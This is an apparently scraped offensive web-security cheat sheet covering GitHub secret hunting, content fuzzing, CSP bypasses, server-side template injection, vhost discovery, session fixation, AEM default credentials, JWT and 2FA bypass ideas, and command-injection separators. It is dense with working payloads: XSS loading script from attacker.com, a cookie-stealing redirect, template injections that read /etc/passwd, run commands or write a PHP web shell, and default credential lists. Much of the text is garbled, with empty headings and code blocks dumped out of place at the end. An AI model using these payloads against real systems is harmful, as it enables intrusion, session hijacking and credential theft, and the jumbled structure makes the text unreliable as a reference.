      python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    # joomla configuration files with passwords 
      python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
      
    # GitLeaks
    sudo docker pull zricethezav/gitleaks
    sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
    or (repository in /tmp)
    sudo docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/repository
    
    # GitJacker - for exposed .git paths
    # https://github.com/liamg/gitjacker
    curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash
    gitjacker url.com
    
    # Then visualize a commit:
    https://github.com/[git account]/[repo name]/commit/[commit ID]
    https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
    
    # Manual local checks inside repository
    git log
    # Checkout repo with .env file
    git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
    ls -la
    cat .env
    
    # Find websites from GitHub
    https://github.com/Orange-Cyberdefense/versionshaker
    # Crawlers
    dirhunt https://url.com/
    hakrawler -domain https://url.com/
    python3 sourcewolf.py -h
    gospider -s "https://example.com/" -o output -c 10 -d 1
    gospider -S sites.txt -o output -c 10 -d 1
    gospider -s "https://example.com/" -o output -c 10 -d 1 --other-source --include-subs
    
    # Fuzzers
    # ffuf
    # Discover content
    ffuf -recursion -mc all -ac -c -e .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml -w six2dez/OneListForAll/onelistforall.txt -u https://url.com/FUZZ
    # Headers discover
    ffuf -mc all -ac -u https://hackxor.net -w six2dez/OneListForAll/onelistforall.txt -c -H "FUZZ: Hellothereheadertesting123 asd"
    # Ffuf - burp
    ffuf -replay-proxy http:127.0.0.1:8080
    # Fuzzing extensions
    # General
    .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml,.inc
    # Backups
    '.bak','.bac','.old','.000','.~','.01','._bak','.001','.inc','.Xxx'
    
    # kr
    # https://github.com/assetnote/kiterunner
    kr brute https://whatever.com/ -w onelistforallmicro.txt -x 100 --fail-status-codes 404
    kr scan https://whatever.com/ -w routes-small.kite -A=apiroutes-210228 -x 100 --ignore-length=34
    
    # chameleon
    # https://github.com/iustin24/chameleon
    ./chameleon -u http://testphp.vulnweb.com -a -A
    
    # Best wordlists for fuzzing:
    # https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
        - raft-large-directories-lowercase.txt
        - directory-list-2.3-medium.txt
        - RobotsDisallowed/top10000.txt 
    # https://github.com/assetnote/commonspeak2-wordlists/tree/master/wordswithext    - 
    # https://github.com/random-robbie/bruteforce-lists
    # https://github.com/google/fuzzing/tree/master/dictionaries
    # https://github.com/six2dez/OneListForAll
    # AIO: https://github.com/foospidy/payloads
    # Check https://wordlists.assetnote.io/
    
    # Pro tip: set "Host: localhost" as header
        
    # Custom generated dictionary
    gau example.com | unfurl -u paths
    # Get files only
    sed 's#/#\n#g' paths.txt |sort -u
    # Other things
    gau example.com | unfurl -u keys
    gau example.com | head -n 1000 |fff -s 200 -s 404
    
    # Hadrware devices admin panel
    # https://github.com/InfosecMatter/default-http-login-hunter
    default-http-login-hunter.sh https://10.10.0.1:443/
    
    # Dirsearch
    dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w six2dez/OneListForAll/onelistforall.txt --request-by-hostname -t 40
    
    # dirb
    dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt
    
    # wfuzz
    wfuzz -c -z file,six2dez/OneListForAll/onelistforall.txt --hc 404 http://10.11.1.11/FUZZ
    
    # gobuster
    gobuster dir -u http://10.11.1.111 -w six2dez/OneListForAll/onelistforall.txt -s '200,204,301,302,307,403,500' -e
    
    # Cansina
    # https://github.com/deibit/cansina
    python3 cansina.py -u example.com -p PAYLOAD
    
    # Ger endpoints from JS
    # LinkFinder
    # https://github.com/GerbenJavado/LinkFinder
    python linkfinder.py -i https://example.com -d
    python linkfinder.py -i burpfile -b
    
    # JS enumeration
    # https://github.com/KathanP19/JSFScan.sh
    
    # Tip, if 429 add one of these headers:
    Client-Ip: IP
    X-Client-Ip: IP
    X-Forwarded-For: IP
    X-Forwarded-For: 127.0.0.1
    # CSP Checker
    https://csp-evaluator.withgoogle.com/
    
    # Content-Security-Policy Header
    
    - If upload from web is allowed or <img src="URL">:
    https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
    https://iplogger.org/invisible/
    https://iplogger.org/15bZ87
    
    - Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
    By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
    working payload : "/><script>alert(1337);</script>
    
    - Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
    Again this is a misconfigured CSP policy due to usage of unsafe-eval.
    working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
    
    - Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
    Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
    working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
    
    - Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
    Misconfigured CSP policy again! we can see object-src and default-src are missing here.
    working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
    <param name="AllowScriptAccess" value="always"></object>
    
    - Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
    With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
    <script src=https://drive.google.com/uc?id=...&export=download></script>
    
    - Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;
    You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
    <script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>
    
    - Content-Security-Policy: default-src 'self'
    If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server
    window.location='https://deteact.com/'+document.cookie;
    
    - Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
    We  can see object-src is set to none but yes this CSP can be bypassed too  to perform XSS. How ? If the application allows users to upload any type  of file to the host. An attacker can upload any malicious script and  call within any tag.
    working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>
    
    - Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
    In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
    working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
    
    - Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
    In  such scenarios where script-src is set to self and a javascript library  domain which is whitelisted. It can be bypassed using any vulnerable  version of javascript file from that library , which allows the attacker  to perform xss.
    working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
    
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
     <div ng-app ng-csp>
      {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
     </div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
    <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
    
    - Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
    If  the application is using angular JS and scripts are loaded from a  whitelisted domain. It is possible to bypass this CSP policy by calling  callback functions and vulnerable class. For more details visit this  awesome git repo.
    working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
    
    - Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
    In  the above scenario, there are two whitelisted domains from where  scripts can be loaded to the webpage. Now if one domain has any open  redirect endpoint CSP can be bypassed easily. The reason behind that is  an attacker can craft a payload using redirect domain targeting to other  whitelisted domains having a jsonp endpoint. And in this scenario XSS  will execute because while redirection browser only validated host, not  the path parameters.
    working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
    
    - Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
    With inline execution enabled we can simply injection our code into the page.
    url.com/asd.php/?a=<script>alert(document.domain)</scrtipt>
    GoogleTagManager
    <script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
    <script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>
    
    - Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests
    This CSP policy can be bypassed using iframes. The condition is that  application should allow iframes from the whitelisted domain. Now using a  special attribute srcdoc of iframe, XSS can be easily achieved.
    working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
    
    - CSP with policy injection (only Chrome)
    /?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
    # Tool
    # https://github.com/epinna/tplmap
    tplmap.py -u 'http://www.target.com/page?name=John'
    
    # Payloads
    # https://github.com/payloadbox/ssti-payloads
    
    # Oneliner
    # Check SSTI in all param with qsreplace
    waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
    ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/
    # Check in burp for reponses with ssti81
    
    # Generic
    ${{<%[%'"}}%\.
    {% debug %}
    {7*7}
    {{ '7'*7 }}
    {{ [] .class.base.subclassesO }}
    {{''.class.mro()[l] .subclassesO}}
    for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
    {{ [].__class__.__base__.__subclasses__O }}
    
    # PHP Based
    {php}print "Hello"{/php}
    {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
    {{7*7}}
    {{7*'7'}}
    {{dump(app)}}
    {{app.request.server.all|join(',')}}
    "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    {$smarty.version}
    {php}echo `id`;{/php}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    
    # Node.js Backend based 
    {{ this }}-> [Object Object]
    {{ this.__proto__ }}-> [Object Object]
    {{ this.__proto__.constructor.name }}-> Object
    {{this.constructor.constructor}}
    {{this. constructor. constructor('process.pid')()}}
    {{#with "e"}}
    {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('whoami');"}}
    {{this.pop}}
    {{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
    {{this}}
    {{/with}}
    {{/each}}
    #set($str=$class.inspect("java.lang.String").type)
    #set($chr=$class.inspect("java.lang.Character").type)
    #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    $ex.waitFor()
    #set($out=$ex.getInputStream())
    #foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
    #end
    
    # Java
    ${7*7}
    <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
    ${{7*7}}
    ${class.getClassLoader()}
    ${class.getResource("").getPath()}
    ${class.getResource("../../../../../index.htm").getContent()}
    ${T(java.lang.System).getenv()}
    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
    
    # Ruby
    <%= system("whoami") %>
    <%= Dir.entries('/') %>
    <%= File.open('/example/arbitrary-file').read %>
    
    # Python
    {% debug %}
    {{settings.SECRET_KEY}}
    {% import foobar %} = Error
    {% import os %}{{os.system('whoami')}}
    
    # Perl
    <%= perl code %>
    <% perl code %>
    
    # Flask/Jinja2
    {{ '7'*7 }}
    {{ [].class.base.subclasses() }} # get all classes
    {{''.class.mro()[1].subclasses()}}
    {%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    
    # .Net
    @(1+2)
    @{// C# code}
    # Bypass whitelist
    inti(;[email protected];)@whitelisted.com
    [email protected](@whitelisted.com)
    inti+(@whitelisted.com;)@inti.io
    
    #HTML Injection in Gmail
    inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com
    
    # Bypass strict validators
    # Login with SSO & integrations
    GitHub & Salesforce allow xss in email, create account and abuse with login integration
    
    # Common email accounts
    support@
    jira@
    print@
    feedback@
    asana@
    slack@
    hello@
    bug(s)@
    upload@
    service@
    it@
    test@
    help@
    tickets@
    tweet@
    # Basic vhost fuzzing
    ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
      -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fs 0
    
    # Filter by response size (adjust based on default response)
    ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
      -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fs 4242
    
    # Filter by status code
    ffuf -w wordlist.txt -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fc 400,404
    
    # With HTTPS
    ffuf -w wordlist.txt -u https://10.10.10.10 -H "Host: FUZZ.target.com" -fs 0
    # Vhost mode
    gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
    
    # With specific IP
    gobuster vhost -u http://10.10.10.10 -w wordlist.txt --domain target.com --append-domain
    
    # Filter unwanted status codes
    gobuster vhost -u http://target.com -w wordlist.txt --exclude-length 0
    # Basic vhost fuzzing
    wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hc 400,404 http://10.10.10.10
    
    # Hide responses by size
    wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hh 1234 http://10.10.10.10
    
    # Hide responses by word count
    wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hw 50 http://10.10.10.10
    # Virtual Host Discovery
    # https://github.com/jobertabma/virtual-host-discovery
    ruby scan.rb --ip=192.168.1.101 --host=domain.tld
    
    # VHosts Sieve - Find vhosts in non-resolvable domains
    # https://github.com/dariusztytko/vhosts-sieve
    python3 vhosts-sieve.py -d domains.txt -o vhosts.txt
    
    # HostHunter - Discover hostnames from IP ranges
    # https://github.com/SpiderLabs/HostHunter
    python3 hosthunter.py targets.txt -o hosts.txt
    # Extract potential hostnames from SSL certificates
    echo | openssl s_client -connect 10.10.10.10:443 2>/dev/null | openssl x509 -noout -text | grep -oP '(?<=DNS:)[^,]+'
    
    # Check certificate SAN (Subject Alternative Names)
    nmap --script ssl-cert -p 443 10.10.10.10
    
    # Reverse DNS lookup
    host 10.10.10.10
    
    # Check for common internal hostnames
    for host in admin dev staging test api internal portal; do
      curl -s -o /dev/null -w "%{http_code} - $host.target.com\n" \
        -H "Host: $host.target.com" http://10.10.10.10
    done
    # Add to /etc/hosts for testing
    echo "10.10.10.10 dev.target.com staging.target.com admin.target.com" | sudo tee -a /etc/hosts
    
    # Or use curl with Host header directly
    curl -H "Host: dev.target.com" http://10.10.10.10/
    # SecLists
    /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
    /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
    
    # Common internal hostnames
    /usr/share/seclists/Discovery/DNS/namelist.txt
    Attacker tricks victim into using that session ID
  • Victim authenticates with the fixed session

  • Attacker uses the same session ID to access victim's account

  • hashtag
    Testing Methodology

    hashtag
    Basic Test

    hashtag
    Check if Session Changes on Login

    hashtag
    Attack Vectors

    hashtag
    Via URL Parameter

    hashtag
    Via Meta Tag Injection

    hashtag
    Via Subdomain Cookie

    hashtag
    Via Cross-Site Cooking

    hashtag
    Indicators of Vulnerability

    Indicator
    Status

    Session ID unchanged after login

    ❌ Vulnerable

    Session accepted via URL parameter

    ❌ Vulnerable

    No HttpOnly flag on session cookie

    ⚠️ Risk factor

    Session cookie domain too broad

    hashtag
    Verification Commands

    hashtag
    Secure Implementation (What to Look For)

    hashtag
    Related Topics

    • XSS - Can be used to set cookies

    • CSRF - Related session attacks

    • Authentication Bypass

    hashtag
    Creds

    hashtag
    Vulns

    hashtag
    CVE-2016-0957 - Bypass dispatcher filters

    # https://github.com/0ang3el/aem-hacker
    python3 aem_discoverer.py --file list.txt
    python3 aem_hacker.py -u https://target.com --host [SSRF_CALLBACK]
    #https://github.com/Raz0r/aemscan

    SSL/TLS

    hashtag
    Modern Testing Tools

    hashtag
    2025 Best Practices

    hashtag
    Recommended Configuration

    hashtag
    Quick Vulnerability Checks

    hashtag
    DROWN

    hashtag
    TLS_FALLBACK_SCSV

    hashtag
    BEAST

    hashtag
    LUCKY13

    hashtag
    Sweet32

    hashtag
    Logjam

    hashtag
    SSLv2 Support

    hashtag
    SSLv3 Support

    hashtag
    Cipher suites

    hashtag
    Secure renegotiation

    hashtag
    CRIME

    hashtag
    BREACH

    hashtag
    Heartbleed

    hashtag
    Change cipher spec injection

    hashtag
    Cipher order enforcement

    hashtag
    Additional Vulnerabilities

    hashtag
    POODLE

    hashtag
    ROBOT

    hashtag
    Certificate Issues

    hashtag
    Resources

    HTTP Request Smuggling

    hashtag
    General

    circle-info

    HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users. Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers: Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

    hashtag
    Tools

    hashtag
    Samples

    Web Sockets

    WebSockets provide bi-directional, full-duplex communication over a single TCP connection, commonly used for real-time features like chat, notifications, and live updates.

    hashtag
    Protocol Basics

    hashtag
    Handshake Request

    hashtag
    Handshake Response

    hashtag
    Security Testing

    hashtag
    Cross-Site WebSocket Hijacking (CSWSH)

    If the server doesn't validate the Origin header, attackers can hijack WebSocket connections.

    Test for CSWSH:

    hashtag
    Message Manipulation

    hashtag
    Common Vulnerabilities

    Vulnerability
    Test

    hashtag
    Testing Tools

    hashtag
    STEWS - Security Testing for WebSockets

    hashtag
    Burp Suite

    hashtag
    wscat (CLI WebSocket Client)

    hashtag
    websocat

    hashtag
    Exploitation Scenarios

    hashtag
    XSS via WebSocket

    hashtag
    SQL Injection via WebSocket

    hashtag
    Authorization Bypass

    hashtag
    Browser Console Testing

    hashtag
    Related Topics

    • - CSWSH is similar to CSRF

    • - Can chain with WebSocket attacks

    • - Common in WebSocket APIs

    Prototype Pollution

    Prototype pollution is a JavaScript vulnerability that allows attackers to modify the prototype of base objects, potentially leading to XSS, RCE, or DoS.

    hashtag
    How It Works

    hashtag
    Detection

    hashtag
    Manual Testing

    hashtag
    Automated Detection

    hashtag
    Common Sinks (Client-Side)

    hashtag
    Exploitation Payloads

    hashtag
    DOM XSS via Prototype Pollution

    hashtag
    Gadgets for Common Libraries

    hashtag
    Server-Side Prototype Pollution (Node.js)

    hashtag
    Bypass Techniques

    hashtag
    Tools & Resources

    hashtag
    Related Topics

    • - Prototype pollution often chains to XSS

    • - Similar object manipulation concepts

    • - Template engines can be affected

    Command Injection

    circle-info

    Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

    hashtag
    Related Topics

    • - Cross-site scripting attacks

    • - Server-side request forgery

    • - File inclusion vulnerabilities

    • - RCE exploitation chains

    • - Shell payloads

    Tabnabbing

    Tabnabbing (reverse tabnabbing) allows an attacker-controlled page to rewrite the content of a parent page, typically replacing it with a phishing site.

    hashtag
    How It Works

    1. Victim clicks a link that opens in a new tab (target="_blank")

    2. The new page has access to window.opener (the original page)

    3. Attacker's page executes: window.opener.location = "https://phishing-site.com"

    4. Original tab silently redirects to phishing site

    5. Victim returns to original tab, sees fake login, enters credentials

    hashtag
    Vulnerable Code Pattern

    hashtag
    Secure Code Pattern

    hashtag
    Detection

    hashtag
    Manual Testing

    hashtag
    Automated Scanning

    hashtag
    Exploitation

    hashtag
    Basic Attack Page

    hashtag
    Phishing Page

    hashtag
    Delayed Attack (More Stealthy)

    hashtag
    Attack Scenarios

    Scenario
    Description

    hashtag
    Browser Behavior

    Browser
    Default Behavior (2024+)

    Note: While modern browsers add implicit protection, explicit rel="noopener" is still recommended for older browser support and code clarity.

    hashtag
    window.open() Vulnerability

    hashtag
    Related Topics

    • - Can be used to inject malicious links

    • - Tabnabbing enables phishing

    • - Related browser security issues

    JWT

    hashtag
    Tools

    hashtag
    General info

    1. Leak Sensitive Info
    2. Send without signature
    3. Change algorythm r to h
    4. Crack the secret h256
    5. KID manipulation
    
    eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A
    
    https://trustfoundry.net/jwt-hacking-101/
    https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
    https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
    https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
    
    - JKU & X5U Headers - JWK
        - Header injection
        - Open redirect
    
    
    
    - Remember test JWT after session is closed

    hashtag
    Attacks

    hashtag
    Header

    hashtag
    Payload

    MFA/2FA

    hashtag
    Common flaws

    # Lack of rate limit
        - Exploitation:
        1. Request 2FA code and capture this request.
        2. Repeat this request for 100–200 times and if there is no limitation set, that’s a rate limit issue.
        3. At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success.
        4. You can also try to initiate, requesting OTPs at one side and brute-forcing at another side. Somewhere the OTP will match in middle and may give you a quick result.
    # Rate limit bypass
        # Limiting the flow rate
        # Generated OTP code doesn’t change
        # Rate-limit resetting when updating the code
        # Bypassing the rate limit by changing the IP address
        # Support for X-Forwarded-For turned on
    # Bypass replacing part of the request from the session
    # Bypass using the "Remember Me" functionality
        # If 2FA is attached using a cookie, the cookie value must be unguessable
        # If 2FA is attached to an IP address, you can try to replace your IP address
    # Improper access control bug on the 2FA dialog page
    # Insufficient censorship of personal data on the 2FA page
    # Ignoring 2FA under certain circumstances.
        # 2FA ignoring when recovering a password
        # Ignoring 2FA when entering through a social network
        # Ignoring 2FA in an older version of the application
        # Ignoring 2FA in case of cross-platforming
    # When disabling 2FA, the current code or password is not requested
    # Previously created sessions remain valid after activation of 2FA
    # Lack of Rate-limit in the user’s account (OTP is validated, but user's id not)
    # Manipulation of API’s versions
    # Improper Access Control in the backup codes request
    # Response body manipulation
    # HTTP Response Status Code Manipulation
    # Code Leakage in Response
    # Direct Request/Forceful Browsing
        - Exploitation:
        1. Normal flow: Login -> MFA -> Profile
        2. Attack: Login -> MFA, instead input MFA navigate to Profile
    # Cached OTP in Dynamic JS Files
    # OTP Code Reusability

    hashtag
    Mindmaps

    Subdomain Takeover: Proof Creation for Bug BountiesPatrik Hudakchevron-right
    GitHub - EdOverflow/can-i-take-over-xyz: "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.GitHubchevron-right

    Bruteforcing

    Authentication bruteforcing attacks to guess credentials or bypass login mechanisms.

    Skill Level: Beginner to Intermediate Prerequisites: Basic HTTP understanding, wordlist selection

    hashtag
    Password Identification

    GitLab

    GitLab security testing - enumeration, common vulnerabilities, and exploitation techniques.

    hashtag
    Default Credentials

    hashtag
    Enumeration

    ELK

    hashtag
    Elasticsearch

    hashtag
    Enum

    six2dez is sharing knowledgeBuy Me a Coffeechevron-right
    1. Open target.com/login (Attacker browser)
    2. Note the SESSION cookie value: abc123
    3. Open target.com/login in incognito (Victim simulation)
    4. Set cookie to attacker's value: abc123
    5. Login as victim in incognito tab
    6. Refresh attacker's browser
    7. If logged in as victim → VULNERABLE
    # Get pre-auth session
    curl -c cookies.txt https://target.com/login
    
    # Check cookie value
    cat cookies.txt
    
    # Login and check if session changed
    curl -b cookies.txt -c cookies2.txt -X POST \
      -d "user=test&pass=test" https://target.com/login
    
    # Compare sessions
    diff cookies.txt cookies2.txt
    # If same → VULNERABLE
    # Some apps accept session in URL
    https://target.com/login?PHPSESSID=attacker_session
    https://target.com/login?JSESSIONID=attacker_session
    https://target.com/login;jsessionid=attacker_session
    
    # Send to victim, they login, attacker uses same session
    <!-- If XSS or HTML injection exists -->
    <meta http-equiv="Set-Cookie" content="session=attacker_session">
    # If attacker controls subdomain (e.g., user content)
    # Set cookie from evil.target.com for .target.com
    document.cookie = "session=attacker_session; domain=.target.com"
    <!-- On attacker's site, if target has weak cookie scope -->
    <img src="https://target.com/page?session=attacker_session">
    # Check cookie attributes
    curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"
    
    # Look for:
    # - HttpOnly flag (mitigates but doesn't prevent)
    # - Secure flag
    # - SameSite attribute
    # - Domain scope
    ✓ Generate new session ID after authentication
    ✓ Invalidate old session on login
    ✓ Use HttpOnly and Secure flags
    ✓ Implement SameSite=Strict or Lax
    ✓ Reject session IDs from URL parameters
    ✓ Short session timeouts
    #https://github.com/clarkvoss/AEM-List/blob/main/paths
    #https://github.com/emadshanab/Adobe-Experience-Manager/blob/main/aem-paths.txt
    admin:admin
    author:author
    anonymous:anonymous
    replication-receiver:replication-receiver
    [email protected]:jdoe
    [email protected]:aparker
    grios:password
    vgnadmin:vgnadmin
    [email protected]:password
    [email protected]:password
    [email protected]:password
    [email protected]:password)
    https://aemsite/bin/querybuilder.json/a.css
    https://aemsite/bin/querybuilder.json/a.html
    https://aemsite/bin/querybuilder.json/a.ico
    https://aemsite/bin/querybuilder.json/a.png
    https://aemsite/bin/querybuilder.json;%0aa.css
    https://aemsite/bin/querybuilder.json/a.1.json
    https://aemsite///bin///querybuilder.json
    https://aemsite///etc.json
    
    #Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:
    # Provides a proxy which is able to be used to perform arbitrary server-side requests.
    /libs/opensocial/proxy
    # Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.
    /etc/mobile/useragent-test.html
    # Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.
    /etc/reports/diskusage.html
    # Comprehensive TLS testing (recommended)
    # testssl.sh - https://github.com/drwetter/testssl.sh
    testssl.sh https://example.com
    
    # With specific checks
    testssl.sh --vulnerable https://example.com
    testssl.sh --cipher-per-proto https://example.com
    
    # SSLyze - Python-based
    # https://github.com/nabla-c0d3/sslyze
    sslyze --regular example.com:443
    
    # tlsx - Fast TLS prober
    # https://github.com/projectdiscovery/tlsx
    tlsx -u example.com -port 443
    
    # Nmap SSL scripts
    nmap --script ssl-* -p 443 example.com
    GET /chat HTTP/1.1
    Host: normal-website.com
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
    Connection: keep-alive, Upgrade
    Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
    Upgrade: websocket
    Origin: https://normal-website.com
    // JavaScript objects inherit from Object.prototype
    let obj = {};
    console.log(obj.toString); // inherited from Object.prototype
    
    // Pollution occurs when attacker controls property assignment
    obj.__proto__.polluted = "yes";
    // OR
    obj["__proto__"]["polluted"] = "yes";
    // OR
    obj.constructor.prototype.polluted = "yes";
    
    // Now ALL objects have this property
    let newObj = {};
    console.log(newObj.polluted); // "yes"
    # For detection, try to concatenate another command to param value
    &
    ;
    Newline (0x0a or \n)
    &&
    |
